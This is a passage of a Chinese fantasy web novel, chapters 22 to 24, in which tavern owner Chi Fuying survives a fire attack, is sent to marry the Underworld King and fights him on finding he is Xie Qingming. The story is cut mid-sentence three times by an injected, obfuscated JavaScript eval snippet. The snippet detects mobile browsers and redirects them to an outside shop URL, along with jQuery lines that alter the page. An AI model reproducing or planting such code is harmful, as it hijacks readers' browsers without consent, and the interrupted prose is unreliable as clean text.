听到最后,她双手紧紧握拳,一捶膝盖,说:“你们说得对!我不会再想这事了。这几天大堂里生意如何?我在后院听着,好像没有平时那么热闹似的。”
韩无刃立刻怨气连天:“这几天?不行!谁知道怎么搞的,生意冷冷清清的,来的客人少了,大街上的人也少了!”
“不知是不是惊蛰之后,大家心有余悸,不敢轻易出门了?我问过隔壁的南货店和成衣铺,都说客人稀稀拉拉的。哦,对了,这有些东西你们也应该看看。”金风从腰间的锦囊里摸出一粒指甲大的小册子,像是玩偶屋里配置的小玩意。她用两个指尖拈着小册子,使出一点灵力,蓝光闪烁之后,手里赫然是一本正常大小的账簿了。
迟复樱接了过来,和韩无刃脑门顶着脑门,一同看了起来。翻来第一页,只见上面写着密密麻麻的蝇头小楷,第二页往后还是空白的。
又听金风解释道:“复樱不是在大堂里放了个留言用的板子,还让我在跑堂时留意着吗?这两天有些过路人留了消息,似乎有点用处,我就誊抄下来了。”
第一段写着:惊蛰后第二日,王都上城区数十处府邸失火,金银珠宝,或失或毁。官府盘查良久,不知真凶。
第二段写着:惊蛰后第四日,王都下城区百余处破宅一夜之间夷为平地。附近邻人眼见夜里火光四起,早起出门查看,只见残骸满地。
第三段写着:惊蛰后第七日,鬼界东南部十二州、东北部九州皆暴乱,究其原因,乃是不速客烧杀掳掠,老弱病残者死伤无数。王都军队前去联合当地守军镇压,不知后事如何。
读罢,迟复樱抬头看向金风,隐隐有种不祥之感。韩无刃已经郁闷地叫了起来:“怎么又出了这么多乱子?惊蛰那事不是过去了吗?再这样下去,我们生意没法做了,我要去抢钱了!”
接着他突然惊恐地大喊一声,金风急忙伸手,还以为他是脚滑了。却听他紧张地问:“他们不会来烧我们酒肆吧?”
迟复樱问金风:“小风姐,你怎么看这事?莫非那些虫子和蛇能把事闹得这么大?”
金风干脆利落地答道:“我看不像。未成人形的虫蛇是没有多大本事的,先前你也看见了,它们最多是没完没了地爬出来咬人。这类东西虽然恶心,但智力不高,又没长手脚,所以不会放火抢劫。”
迟复樱点头说:“至于修成人形的虫妖蛇精,大概更不会去闹事了。他们只在衙门当个小喽啰,如果被官府镇压,根本没有自保和反抗的能力。”
金风说:“所以这事……”
迟复樱和她异口同声地说道:“捣鬼的另有其人!”
“不管是谁在闹事,我们的生意都不好做了。”韩无刃修好了最后一片瓦,闷声闷气地说,“我活了几百年了,没见过这种事!”
金风说:“君主当年正是平定了一场持续百余年的凡魔混战,才建邦登基。据说从前没有三界之分
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468791|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是从那次大战之后,各方才划定了地盘。有些妖鬼站在凡人那边,结果成了战败的一方,之后就一直留在凡界生活了。后来凡界和冥界之间可以凭文书通关办事,那些妖鬼就变成往返两界之间的商贩,把凡人的东西卖到冥界,把妖鬼的东西卖到凡界。”
韩无刃说:“哦,原来还有这种事?天杀的,可别再打仗了,不然我们的生意……”他的声音被一声巨响打断了。
烈焰熊熊,硝烟弥漫,迟复樱只觉得自己突然葬身火海,眼前全是乌云般的黑雾。在短暂的懵懂中,她以为自己又穿越到一个新的时空里来了。直到听见耳边金风的呼喊声,才明白过来:酒肆被火球击中了。
她奋力挥动弹弓,想要破开周围的黑烟,却徒劳无功。刚喊了一声金风的名字,就呛了一嘴的尘土。韩无刃的声音也加入进来,三人听音辨认方位,摸索着挽住彼此的手,哆哆嗦嗦地在房顶上站了起来。迟复樱紧紧抓着老韩,冲着院里大喊一声:“水来!”
后院里那口水井嚓嚓作响。一条瓦蓝瓦蓝的水龙从黑烟中钻了出来,在三人身边绕来绕去,冲散了夜一般的黑暗。硝烟稍稍褪去,三人的身影渐渐显现出来,每个人都灰头土脸。后院里的大火还在顽强地燃烧着,满地狼籍。那棵被接好的树,竟然再次被劈倒了。
迟复樱脑子里嗡嗡作响,恍恍惚惚地眺望隔壁店铺,不知怎地,满心里只想着一句话:是单我们店这样呢,还是别的店也这样?
左邻右舍也都陷在滔滔火海里。火焰越烧越旺,最后跨越了围墙的阻碍,彼此连成一片,焰心里涌现出反常的黑光,十分邪魅可怖。金风喊道:“水来!”井水接连不断地喷射而出,洒向猎猎作响的火海,转眼就被蒸干了。韩无刃被两人一左一右地提着,也绝望地喊着:“水来!”
水来!水来!水来!
迟复樱忽然松开韩无刃,举起弹弓说:“我数一二三,一起抽水!”
一,二,三。“三”字一出口,三人合力召出的三股水龙爆发式地涌出井口,一边飞向屋顶,一边嗖嗖拧成一条粗壮的水绳。迟复樱此时毫无杂念,像迎接一位老友般高高地伸出手。水绳落进了她的手里。金风和韩无刃咬紧牙关,默默维持着法术,以使水流源源不断地奔来。
迟复樱用手掌虚虚地托着水绳,霎时间将其变成冰柱。她把树干似的冰柱向天上一抛,又猛地掷出了弹弓。弓绳套住了冰柱,被抻得很长很长。接着,弓绳剧烈地弹动,冰柱被射向火海。
伴随着一声玻璃碎裂般的轰鸣,冰层覆盖了火焰。酒肆的火熄灭了,冰壳还在向两边伸展,蔓延到隔壁的人家。长街上多了一片冰原。
迟复樱虚脱地瘫坐在房顶上,接住了飞回来的弹弓。金风和韩无刃都爆出了额角的青筋,还在坚持念咒,好让井水持续地汇入冰原。三人几乎透支了自身的灵力,迟复樱却还是舍不得把怀里那瓶灵泉拿出来用。
山雨欲来风满楼。没有任何征兆,变天之前的大风真的来了。风声鹤唳,风起云涌,风云变幻。谁也不知道接下来还会有多少炮火落在寻常人家的屋顶上。
迟复樱的耳朵突然像是恢复了听觉,遍地都是哭喊和惨叫声。
人人自危时,她发现前院里有个纤细的青衣影子,像竹子一样晃动着。她失魂落魄地指着地上,说:“有人来了。”
22. 传婚讯
青衣人用两只宽大的袖子遮着头,畏畏缩缩地躲避着从天上掉落的火星和冰凌。他满脸都是汗水混合着烟灰,哪里还能寻见往日那仙风道骨的气度?
来的不是别人,正是五木仙人。
迟复樱架着韩无刃的左臂,金风架着他的右臂,三人飘飘忽忽地跳到前院的空地上。五木仙人一见她们仨,就立刻放下了护在头顶的双手,还掸了掸袍子下摆,力求做出一副淡然的神态。
门外的长街上,吱哇乱叫的喊声此起彼伏。迟复樱用袖子抹去额头上的土,恍然地问:“仙人里面请,是来喝酒的吗?”
五木仙人一把抓住她的胳膊,压着嗓子说:“借一步说话!”
空旷的大堂里只剩下满地狼籍,早在长街被团团火球击中时,客人就跑得一个都不剩了。韩无刃从地上捡起滴溜打转的酒杯,泄气地说:“天杀的,一个个根本就没付钱哪,就跑了……”金风迅速地取出毛笔和账本,仰起头冥思苦想,凭借着方才的记忆,草草记下了几个常客的名字。
迟复樱坐在五木仙人对面,麻木地问道:“仙人,外面这是怎么了?还是那群虫蛇在闹事吗?”
五木仙人正襟危坐,用一种咏叹似的声音说:“非也!诸位忙于酒肆中的事务,大概还未曾听说吧?”
自从他上次用谢清鸣抵账后,就再也没赊过账,因此金风和韩无刃对他的态度有所好转。听到他发问,两人都看了过来。五木仙人起身关上大门,然后怅然落座,摇头叹息道:“今日凌晨时分,纸人马车又往冥王宫里运送粮草,看来冥王他老人家,终于还是回到王都了。”
迟复樱的精神为之一振,眼睛终于开始聚焦了:“是不是您替我打听的买卖,有着落了?”
五木仙人说:“此事说来可惜。本来,那个昔日替冥王办事的童子已经答应替我牵线,恐怕已有七八分眉目了。可是冥王一回来,这童子就给老夫来了个信,说不必再为这事麻烦了,看来是向冥王探过口风,办不成了。”
有一瞬间,迟复樱都不知道是后院起火更糟,还是冥王不要她当供应商更糟。她飞快地盘算着还有什么办法能搭上冥王的线。金风看起来倒是松了一口气,显然觉得这件事不成最好。只有韩无刃不知道来龙去脉,还在为客人不付酒钱而闷闷不乐。
五木仙人又说:“浪花大王也不必灰心。这世道说变就变,做买卖赚钱已经不是当务之急了。现如今,冥王要血洗全国,逼迫君主给他让位,不论是惊蛰剧变,还是这几日鬼界大大小小的战火,都是冥王的手笔。”
三人都难以置信地说:“啊?”
“许多燃烧后的废墟,留有冥王的印记;那些被洗劫的金银财宝,当然也是充实了冥王宫。只有冥王手下那些运送货物的车马,还能在三界内畅行自如。莫怪老夫耸人听闻,眼下混战一触即发,说不定比千年前那次大战还要可怕!”五木仙人垂头顿足,看得三人一愣一愣的。
他指着门外说:“君主在王都的八个方位布设了法阵,无数妖尊魔头护阵,夜以继日地供奉灵力,以镇压此次的风波。可惜,可惜,还是难以抵抗冥王的威力。”
他一会儿痛心疾首地叹气,一会儿又摇头苦笑,最后又猛然抬起头,坚毅而充满希望地看着远方,失焦的目光仿佛穿透了破旧的板壁,落在城外那无垠的田野上。虽然他平时举手投足间也散发着韵味,但今天却做足了全套的戏。迟复樱眉头紧锁,默默打量他几眼,便说:“仙人似乎有什么话要说?请指点晚辈。”
五木仙人颔首道:“事到如今,不得不说。其实这件事对阁下来说未必是坏事。阁下为了发家致富,不是一直想做冥王的生意吗?现在有一条捷径,根本无需什么买卖,就能让您荣华富贵,衣食无忧了。”
韩无刃还在两边询问谁要做冥王生意?迟复樱屏住呼吸,等着五木仙人往下说。
在几道目光的逼视下,五木仙人干咳了一声,说:“君主要将您封为王侯贵女,送给冥王和亲了。”
这话如同一声惊雷,劈开了昏暗的老楼。咣当一声,桌子板凳都掀翻了,金风和韩无刃齐齐站了起来,死死盯住五木仙人。
迟复樱反而镇定地问:“君主怎么会认识我?”
五木仙人坐立难安,低声说:“税官崇德大人,您记得吧?他捐了一年的俸禄,请王都最有威望的风水师夜观天象,最后竟算出来要您去和亲才能平定这场叛乱!”
迟复樱问:“风水师能算到我这不常见人的小民?是崇德先在我头上画了圈,再让那个风水师算这个圈吧?”
“不论怎样,听那风水师的形容,样貌,人品,行当……全都对得上!”五木仙人摇头道,“崇德本欲向上进言,却因位卑言轻,没能将话递给君主。他就直接去城中的法阵前,长跪不起。后来君主亲自来视察法阵,就真让他给见到了!他当即将此计献给君主,君主封了他一个官,叫他来筹备这场婚事。”
金风怒斥道:“怪力乱神怎可轻信?君主尚且不能摆平的动乱,一个小姑娘去和亲就能摆平?”迟复樱轻轻拉住她的手,暗示她不必愤怒。金风攥紧了她的手,她也不知不觉地回握着,脑海中反复掂量着此事的轻重。
五木仙人诚惶诚恐地说:“君主不在意多试一条路子,想必是此计谋能拖延几天时间,为他争取点兵的空档。”
“去去去,你回去吧。”韩无刃像赶鸡赶鸭一样挥动袖子,“什么乱七八糟的,我们这儿肯定不出人。”
“我的好大爷,您想想,老夫为何会被卷入这是是非非?难道是我自愿来当说客?”五木仙人又去拈他那不存在的胡须,几乎要哽咽出声,“是崇德大人啊!他指派我来当信使,先来通知浪花大王,再去……再去向冥王大人报喜。他说既然我跟这两头都熟,就应该担此大任。”他捂着脑门,吭吭地抽泣起来:“还不知我有没有命能活着回来……冥王宫啊,谁能活着出来……我当初就不该拿你们那半两银子……”
酒肆里一片死寂。迟复樱开口说道:“你就不能逃到别的地方?”
“我的宅子在王都,我还能逃到哪里呢?”五木仙人拍打着大腿说,“况且崇德现在是代君主行事,我岂敢抗旨不尊?”
迟复樱身上冷一阵热一阵,忽然感到周围的气场发生了微妙的变化。其余人似乎也察觉到不对,不觉都抱住了膀子,茫然地看向门外。迟复樱三步并作两步冲了出去,猛地拉开门板。一层灰绿色的结界笼罩在小院上,如同倒扣的罩子,将人严密地软禁起来。
她紧紧抓着门边,辨认着那层鬼魅的绿色,说:“是崇德的法术。”敞开的院门被绿色的雾气封住了,一些人影在雾气之后晃动着,似乎已经包围了院落。
今时不同往日,崇德成了君主亲封的官,手下的随从和打手自然是不计其数。迟复樱冷笑道:“我们酒肆从没来过这么多人呢。当初我要是一箭射死了他,也就没有现在这些事了。”
五木仙人长吁短叹,在大堂走来走去:“此事一日不成,这结界恐怕就一日不解了。”他倏地站定了,欲言又止地看着迟复樱,刚要再说什么,突然白眼一翻,软绵绵地跪倒下去,伏在地上不动了。一根铜质门闩赫然横在半空中,正是方才他后颈的位置。
金风缓缓收回手中的门闩,对迟复樱说:“复樱,你跑吧!”
迟复樱顿时用双手捂着嘴,又是惊讶又是感谢:“小风姐,你的棍法越来越出神入化……”
韩无刃弯下腰来,手脚并用,将五木仙人骨碌到一边,急急地说:“来不及了,快去屋顶。等到午夜,那些人放松了警惕,我们就想办法把结界豁个洞,你跳出去!”
迟复樱说:“不,我要去跟他和亲。”
此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468792|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
言一出,惊得那两人呆在原地。金风嘴唇微张,半晌才说:“你是不是怕你跑了会连累我们?但你不能去和亲!你会被冥王弄死的!”
“你逃到外地去吧!”韩无刃瞟了一眼院门外的重重人影,悄声说道,“正好他们在这里围着,你假装把我们打晕了就行了!他们不会怀疑的。”
金风说:“你可以去我老家的山里躲着。我家人已经没了,但还有不少乡亲在那边采药。她们帮我我家大忙,也会帮你的!”
韩无刃忍不住问道:“咦,她们帮过你什么?”
金风斩钉截铁地说:“我家向她们借了许多钱,而且到现在都没还完!”
迟复樱和韩无刃一起哽住了。金风强调道:“她们一定会帮忙的!”
迟复樱也看了一眼门外,将她二人一手揽过一个,三人脑袋凑到一起。她严肃地说:“我不能再瞒着你们了。其实我巴不得要去找冥王,只有他能帮我回家!我一直没告诉过你们,我老家在三界之外。我受过小头目的欺压,精神不大正常,许多事都想不起来了,但我必须得回去。我在那边还有父母要赡养,还有不少事情没做。”
出乎意料的是,这两人并没有跳起来,反而若有所思地看着她,没完没了地噢了起来。噢声此起彼伏。
迟复樱将自己的来龙去脉一五一十地讲了出来,讲得越多,她心里就越发轻快。她甚至隐隐感到高兴,她终于对这两个伙伴解开了秘密,如果这次能回家,她不是带着欺骗离去的。
金风和韩无刃似乎不知该劝她留在冥界苟活,还是助她放手一搏,一时间忧心忡忡。迟复樱用力按了一下她们的肩膀,然后转身缓步走到院门前,一把拉开了大门。
两路小喽啰裹挟着邪魅的绿烟,列队走进了前院,一个个面容肃穆,闭口不言。等他们夹道站好了队形,一个身穿华丽官服的人迈着四方步登场了。
换下了寒酸衣裳的崇德,浑身上下洋溢着不可一世的傲气。迟复樱双手叉在后腰上,面无表情地看了他两眼。
崇德立刻大受刺激,厉声说道:“大胆刁民,见了本官还不跪!”
迟复樱说:“大胆官差,见了本冥王妃还不跪!”
崇德仿佛挨了当头一棒,怎么也没想到这个要被当成礼物送去和亲的女子竟如此厚颜无耻,不仅镇定自若,还毫无羞涩之意!他气得虫须毕现,阴恻恻地说道:“好,好,好,看来五木已经对你讲清楚了。”他伸头看了看躺在地上的五木仙人,随意一挥手。
立刻有两个小妖抬着一架滑竿小跑过来,将五木仙人装载上去,一溜烟跑出了院子。崇德和声细语地说:“五木要去向冥王报喜了,本官也祝你们百年好合。别人都说冥王嗜血,想来他老人家对冥王妃自然体贴有加。”
迟复樱索性以手掩面,抽动着肩膀,哀哀地哭泣起来。一想到自己就要见到冥王,一阵战栗传遍了全身。金风和韩无刃还以为她真的哭了,不禁双眼发红,仇恨地盯着崇德。
这番表演令崇德称心如意。他这趟亲自过来露脸,当然就是为了看她痛不欲生的模样。他微微偏头,队伍里悄然飘出两个女鬼。
崇德说:“这是本官从万红楼里选的姑娘,她们会替你梳妆送嫁。”
那两个女子低垂着头,默默向迟复樱行礼。迟复樱的脸埋在干燥的手掌中,不知不觉浮起一层冷笑。崇德以为让两个妓女来给她送嫁,就是对她最大的羞辱,可她不属于这个时空,对这两个女子毫无异样的感受,况且她根本不觉得自己是要去出嫁!
她转身就往楼里走,径直回到自己的房间。经过金风跟前时,她用只有她们两人能听见的声音对她说:“好好赚钱,多买灵泉。”
金风也明白战乱在所难免,不易察觉地点了点头。
那两个万红楼的女子跟着迟复樱,一路走进了她的闺房。
23. 新嫁娘
入夜后,最先出现的长庚星升上了天空。屋子里没有点灯,夜色渐渐淹没了一切。
打扮停当的新嫁娘正静静坐在床边。两个喜娘用沙哑的嗓音宣布吉时已到,然后给她蒙上盖头,静悄悄地退出去了。金风和韩无刃进来和她握了握手,很快就被一小队护卫轰了出去。
房门吱呀一声合拢了,卧室里只剩下迟复樱一个人。
她一把掀开盖头,大口呼吸着新鲜空气。笼罩着酒肆的结界被拨到了一边,就像拉开一半的帘子。一架没有轿夫的花轿,正静静地漂浮在窗外的高空中,就像浸泡在黑暗中的大红灯笼。
迟复樱一手拎着盖头,一手拎着一个小包,里边装着她换下来的外袍。本来,她准备直接在自己的衣服外面套上大红婚服,谁知这套婚服的剪裁可丁可卯,腰身束得很细,最后她只留了一身贴身的衬裙。跨上窗台时,她还要格外小心控制动作幅度,才安然无恙地迈进了花轿,没有让紧巴巴的婚服当场撕裂。
正要伸手放下轿子的门帘,迟复樱忽然愣住了。鹅毛般的雪片无声无息地落了下来,很快就连成一片,密不透风。方才还晴朗剔透的星空,转眼被厚重的云层覆盖了。北风一阵强似一阵,冥界的冬天在今夜降临了。
花轿悠悠地飘动起来,穿过一层又一层的雪幕,向着冥王宫的方向飞去。如果长街上的人此时抬头看见一顶飞天花轿,不知该多么毛骨悚然。迟复樱两手缩在宽宽的袖子里,抓紧了一样东西。
那是方才韩无刃跟她握手时,塞进她手里的雕花七彩包子。当时满地护卫虎视眈眈,她们三人谁都没有说话,但迟复樱立刻就明白了他的意思:如果她在冥王宫命悬一线,就用弹弓将这颗包子打上高空,让它在云端炸开、化为五颜六色的烟花。金风和韩无刃今晚一定会在房顶上盯着,一旦看见这朵礼花信号,就会想办法去营救她。
但她并不想打算动用这颗信号。虽然她人已经上了和亲的花轿,但酒肆的封锁暂时还没有解除,崇德那些手下把院子围了个水泄不通。韩无刃不擅长打斗,金风一人一棍也难敌众多护卫。况且她们就算冲破了包围、一路高歌猛进地闯进了冥王宫,难道还能打得过冥王吗?
今晚,迟复樱势必要先发制人。无论威逼还是利诱,都要暂且稳住冥王。顺利的话,她就能跟冥王交换条件,比如帮他几个大忙,然后坐他的马车回家。到那时候,她身边得有几个帮手才行。
好在,方才她和金风握手告别时,也往金风的手里塞了一样东西。那是她趁着喜娘给她梳头描眉时,偷偷用画眉的黛笔写在一张小抄纸条上的。上面写清了桃幺和桃双这对兄妹的姓名和特征,让金风和韩无刃得空时悄悄给桃幺捎个信。
为了省纸,信函内容就写在小抄的背面:桃幺兄,在下浪花大王,不日就要前往冥王宫当杂役赚钱糊口。若君有意叙旧,或有我能帮上忙的事,可随时来附近找我。
桃双年纪尚小,迟复樱不想将她牵连进来。但桃幺已经是个成年妖,上次听他话里话外,时常流露出对上城区富户的羡慕之意。如果他见迟复樱进了冥王宫、靠近了财富和权力,想要结交她这个朋友,自然就会来冥王宫附近跟她搭线了。到时她就可以和他谈谈报酬,请他当自己的干事。如果他没有来,她也不便再去强求。
寒气渗入了花轿,门帘上已经爬满了冰霜。虽然这具身体不畏严寒,迟复樱还是觉得冬天不如春夏那么怡人。在一路的胡思乱想中,花轿徐徐降落在冥王宫的正门前。
凝神屏息地等了片刻,花轿外面静悄悄的,连一个前来迎接的纸人都没有。迟复樱小心地掀开帘子,走进呼啸的风雪中。
大门紧闭,院内漆黑,根本不像是要迎娶新娘的架势。迟复樱简直怀疑五木仙人到底有没有来送信?转念一想,崇德还想靠着这场和亲来讨好君主,想必该通知冥王的还是通知到位了。
她在心里暗骂了一句,就按照上次来踩点时的办法,驾轻就熟地起跳,在外墙和树干之间弹来弹去,以之字形的路线跳上了围墙。然后将盖头往下一抛,人也跟着跃了下去。坠到半空中,脚尖在盖头上一踏,借着这股托力再次跳下,迟复樱轻飘飘地落到地上。
空荡的前院,夹道的枯树,全都落上一层厚实的白雪,看起来倒是整洁了许多。迟复樱担心自己这套婚服太惹眼,就先将它变成了黑色。然后提着小包,一步一探地走向冥王的寝宫。
每往前走一步,她的心脏就像擂鼓似的跳一下。再过一会儿,冥王看清了她的脸,就会发现上次砸了冥王宫的人,这次居然成了前来和亲的冥王妃,而且是自己拎着包翻墙进来的!到时他一定认为这个女人为了接近他,竟然无所不用其极,所以她得在他动手之前抢占先机。
转过石壁,只见寝宫的大门敞开着,里面却没有点灯。迟复樱站在门前,只觉得这是一张黑洞洞的大嘴向自己张开。她取下掖在腰间的黑盖头,自己蒙在了头上。
也就是在这一瞬间,她突然觉得当恶人其实没有好报。自己揍完崇德又揍罪花,结果非但没有交好运,反而过得越来越糟心,现在竟然来跟一个虐杀狂和亲!
来不及细想,殿内突然响起幽幽的问话声:“又是什么人来找死了?”
声音四下回荡,像铁棒似的撞击着迟复樱的耳膜,又像刀锋一样冷峻锐利。迟复樱心里咯噔一下,难道五木仙人已经被他杀死了?她双手提着小包,老实巴交地垂着头,尖声尖气地说:“大王,五木仙人大概来向您报过喜了。”
尽管蒙在盖头里,她确信寝殿深处传来细微的响动。有人疑惑地哼了一声:“恩?”
那声音轻得像一片雪花落在热茶水上,转眼就化开了。然而,从那上扬的尾音里流露出的惊奇和疑惑,让迟复樱心头一紧。冥王认出她了。
对面十分玩味地啧了一声。接着,轻捷有力的脚步声从大殿深处传来,一步一步,越来越近。这是冥王第一次在她面前露面,随着他的靠近,迟复樱几乎能感觉到强健而滚烫的气息扑面而来,像纱一样包裹了她的全身。
她又说了一遍:“大王,想必五木仙人都向您如实禀报啦。”这次没再捏着嗓子,声音清澈沉稳,字正腔圆。从盖头下端的缝隙看出去,她的臂弯里已经积了一层雪。
冥王说:“进来。”
听起来,他的声音和她只隔了几步远。离奇的是,这声音仍然带着回音,从四面八方飘荡过来,听起来失真至极。迟复樱提起繁重的裙摆,小心地踏进了寝殿。她往前走了三步,两人的距离更近了。只听他说:“放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468793|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下吧。”
“什么?”迟复樱一时迷惑了,莫非冥王是叫她放下心中的执念,别再想着回家?
他冷冷地说:“你手里的东西,放下。你,走人。”
迟复樱惊呆了。冥王到底是何方变态,才会开口要她穿过的衣裙?她只得将小包放在地上,尽量委婉地说:“这东西不值钱,大王竟然喜欢,真是这东西的荣幸。”
“不值钱?”冥王反问道,“你们的五木仙人跑到我宫门外大喊了一通,说是君主要给我献上珍宝,以示友好之意。结果就是这么个不值钱的东西?”
迟复樱这才明白,五木仙人这老家伙留了个心眼,根本没来面见冥王,而是在宫门外大玩文字游戏,把和亲一事说成了献宝。她硬着头皮,嗲声嗲气地说:“大王,珍宝就是我呀。”说话间,身上的婚服和头顶的盖头都唰地变回了红色。
这场突如其来的变装秀和真人献礼,显然给冥王极大的冲击,以至于他发出了一声闷哼。听着动静,似乎还往后退了两步。迟复樱乘胜追击,十分谄媚地说:“信徒来跟您和亲啦。”
对面几乎破音:“你?”
迟复樱说:“君主为了表示跟您和平共处的诚意,特意选拔出最纯正的信徒送来和亲。大王,我不仅来跟您和亲,还来帮您解决您最关心的事……”
刚一说完,她就猛地意识到这句话歧义颇深。果然,冥王似乎全身都在发颤:“解决……什么事……”
迟复樱生怕他又冻自己,急忙说:“生意!生意上的事!”
冥王忽然咬牙切齿地质问道:“你知道我是谁么?你根本没见过冥王,为什么非要嫁过来?我能给你什么好处?让你如此鬼迷心窍?”
听他暂时没有杀人的意思,迟复樱反而更加大胆起来,往前踏了两步:“大王,按照礼法,您要掀我的盖头……”
话音未落,她只觉得头顶一轻,眼前豁然开阔。盖头被挑飞了出去,她和冥王之间再无屏障。迟复樱的大脑空白了一瞬间,为即将看见冥王的脸而亢奋不已。
当她仰起脸看向面前的人时,却只觉得整个世界都被冻住了,只有眼前那张熟悉的脸散发着妖冶的光华,让她的呼吸都骤然停歇。
谢清鸣与她近在咫尺,正低垂着眼帘,恶狠狠地俯视着她。他的眉头低低地压了下来,让双眼出奇的深和亮;眉尾却向斜上方高高飞起,其锋芒令人触目惊心。当他的目光凝聚在她脸上时,又突然变得朦胧涣散了。
多日不见,他仍然身穿银白衣衫,头顶一枚玉环,只是在昏暗的光线中,这张白脸显得益发苍白。他的嘴唇绷得很紧,线条比平时更为坚毅和柔韧。
然后,那张嘴微微启开,好像要说些什么。冰霜却无声无息地爬上了迟复樱的衣裙,久违的杀意像花纹一样弥漫上来,就像她初次闯入冥王宫时那样。
电光火石之间,迟复樱心里闪过两个念头:他不是来偷东西的,他就是冥王本尊。他不是去酒肆躲清闲的,他是去刺探她的。
亮光一闪,一柄钢叉大小的弹弓破开寒冷的空气,闪电般地戳向他的脖子。
谢清鸣吃了一惊,急忙向后一跃,落在几丈开外。迟复樱早已搭弓架臂,一颗拳头大的冰坨倏地射了出去,决绝地飞向谢清鸣。
24. 入洞房
谢清鸣一掌挥开那坨冰球,将它击碎成一堆漂浮的冰晶粉末。这一分神,方才他施加在迟复樱身上的冰冻术也随之瓦解。站在乱飞的冰粉中央,他皱着眉毛看向迟复樱,沉沉地问:“你疯了?”
再听见这熟悉的声音,迟复樱只觉得恍如隔世,又觉得自己不动手定住他才是真的疯了。两人已经是新仇旧仇,仇上加仇,冥王本来就想杀她,现在又多了个谢清鸣,难道她要等着自己被冻死?
随着迟复樱的一声冷笑,空中那团冰晶粉末忽然叮叮铃铃地扩散开来,每一粒冰碴都迅速膨胀成卵石大小的冰雹,朝着谢清鸣猛烈地撞去。
骤然遭受万弹齐发的攻击,谢清鸣不得不高低纵跃,左闪右避,一手出拳,一手出掌,与那堆纠缠不休的冰雹斗得十分绚烂。迟复樱也没有闲着,她一声不吭地冲了上去,追在谢清鸣后面跑,一手从怀里掏出源源不断的小抄,另一手举着弹弓,可谓是一把一个,弹无虚发。使用弹弓这类长射程的武器,果然比近身搏斗更有利,隔着长长的距离,迟复樱灵活地躲过了一次次反击。
两人在偌大的寝殿中你追我赶,千军万马似的冰雹还不依不饶地环绕着谢清鸣,状若一群疯狂的土匪。一匹匹瀑布般的白纱从高空垂落下来,飘来荡去,时而阻碍她们彼此的视线,时而又助阵似的抽上一下,把其中一个人抽到另一个人面前。
每当被抽到谢清鸣面前时,迟复樱都觉得自己要射中他了。可是他每次都劈来一堆冰坨,逼得迟复樱只能避退三舍。
如此重复了几个回合,冰坨竟被他消灭了大半,余下的则是气数已尽。迟复樱这边还剩下一沓小抄,不敢再轻易动用。而她来的路上只捏了一个冰球,现下也没有更多。
两人谁都不再轻举妄动,不约而同地兜起了圈子,借着白纱丛林的掩护,在寝殿中转来转去。
虚虚实实,若即若离。迟复樱脚下不敢踩错一步,口中喝问道:“你到底是谁?”
银白色的影子晃来晃去,声音忽近忽远:“当然是冥王。”
迟复樱看准时机,猛地从白纱后面跳出来,扬起弹弓的弓绳,对着他狠狠抽了过去:“那你怎么会跟君主搞在一起?”
一声脆响,谢清鸣用手掌接住了这一鞭子。他嘶了一声,怒道:“什么叫搞在一起?你又在替谁套我的话?”他大力一拽,迟复樱舍不得松开弹弓,竟被他一把扯了过去。
瞄准谢清鸣的左眼,迟复樱一拳锤去。不料他眨眼就抓住了她的手腕。两人近在咫尺,他紧紧盯着她的脸,说:“不要打人。”
迟复樱心中大急,哪里还顾得上谈判,另一拳也猛地挥出去,还附赠一脚飞踹,这两下均使出了十成十的力气。
谢清鸣猛地向后撤去,下盘避开了她踢过去的脚,另一只手则精准地抓住她砸来的拳头。双手握着迟复樱的两个手腕,谢清鸣将她往远了一推。
迟复樱被支离了谢清鸣,手腕却还让他攥着,不免纵身踊跃,想要挣脱他的钳制。就在这衣袂翩飞、白纱狂舞的档口,咔嚓一声,布料撕裂的清脆声音,像一道闪电一样劈了下来,让两人当场动弹不得。
低头一看,红火的喜服从领口中间向下裂了一路,白色的贴身里衣露了出来,仿佛一条婉转起伏的河流。裂开的面料十分光滑,一声不响地滑下迟复樱的肩头,柔曼地倾泻而下,落在谢清鸣手握着的腕部,层层堆积起来。
顿时,迟复樱呼吸顺畅,周身轻松无比。她用力向后挣去,竟然双腕一轻,人也跟着向后踉跄几步。眼前只剩一个梳着高马尾的背影。谢清鸣松开手,转过身不去看她。
他两个拳头在身侧紧紧握着,浑身在微微颤抖。呼吸之间,肩头和手臂的肌肉线条也跟着一张一弛。他背对着迟复樱,说:“把衣服补好。会不会?”
还补好?迟复樱伸手一捞,捡起地上的弹弓,双手将之高举过头顶,毫不犹豫地对着他的背影叉了下去。她又不是真来结婚的,还能花费灵力来修补婚服?
